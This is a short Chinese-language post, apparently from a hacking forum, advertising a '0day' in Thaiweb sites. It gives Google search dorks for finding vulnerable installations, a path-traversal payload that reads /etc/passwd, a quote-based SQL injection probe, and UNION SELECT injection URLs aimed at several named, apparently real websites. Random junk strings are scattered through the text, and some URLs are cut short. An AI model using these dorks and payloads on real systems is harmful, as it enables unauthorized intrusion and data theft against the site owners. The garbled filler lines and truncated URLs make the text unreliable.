Thaiweb远程文件sql注入漏洞0day

admin

Google之:
4 r; P8 ^! R  v5 {
) s: Z5 I4 b# i$ {intext:powered by Thaiweb
7 [6 L# E# \! y) @2 o1 \) q
5 a4 ~# ?  S" L) d  F1 k! Kinurl:index.php?page=board.php



利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd

1 n% `4 N/ N3 V3 y$ Q6 Y! a
/ O2 \0 m" S2 v/ |
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'

4 o& y1 F. [5 `

+ [1 f) S( g' W1 a$ Nhttp://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
" f* u4 l8 [6 i: V8 n6 Y
8 H. X" g% G3 Chttp://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--

1 x- v& B+ z% Y% X7 _4 [& S6 Ghttp://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
& U1 O5 t* x# X% }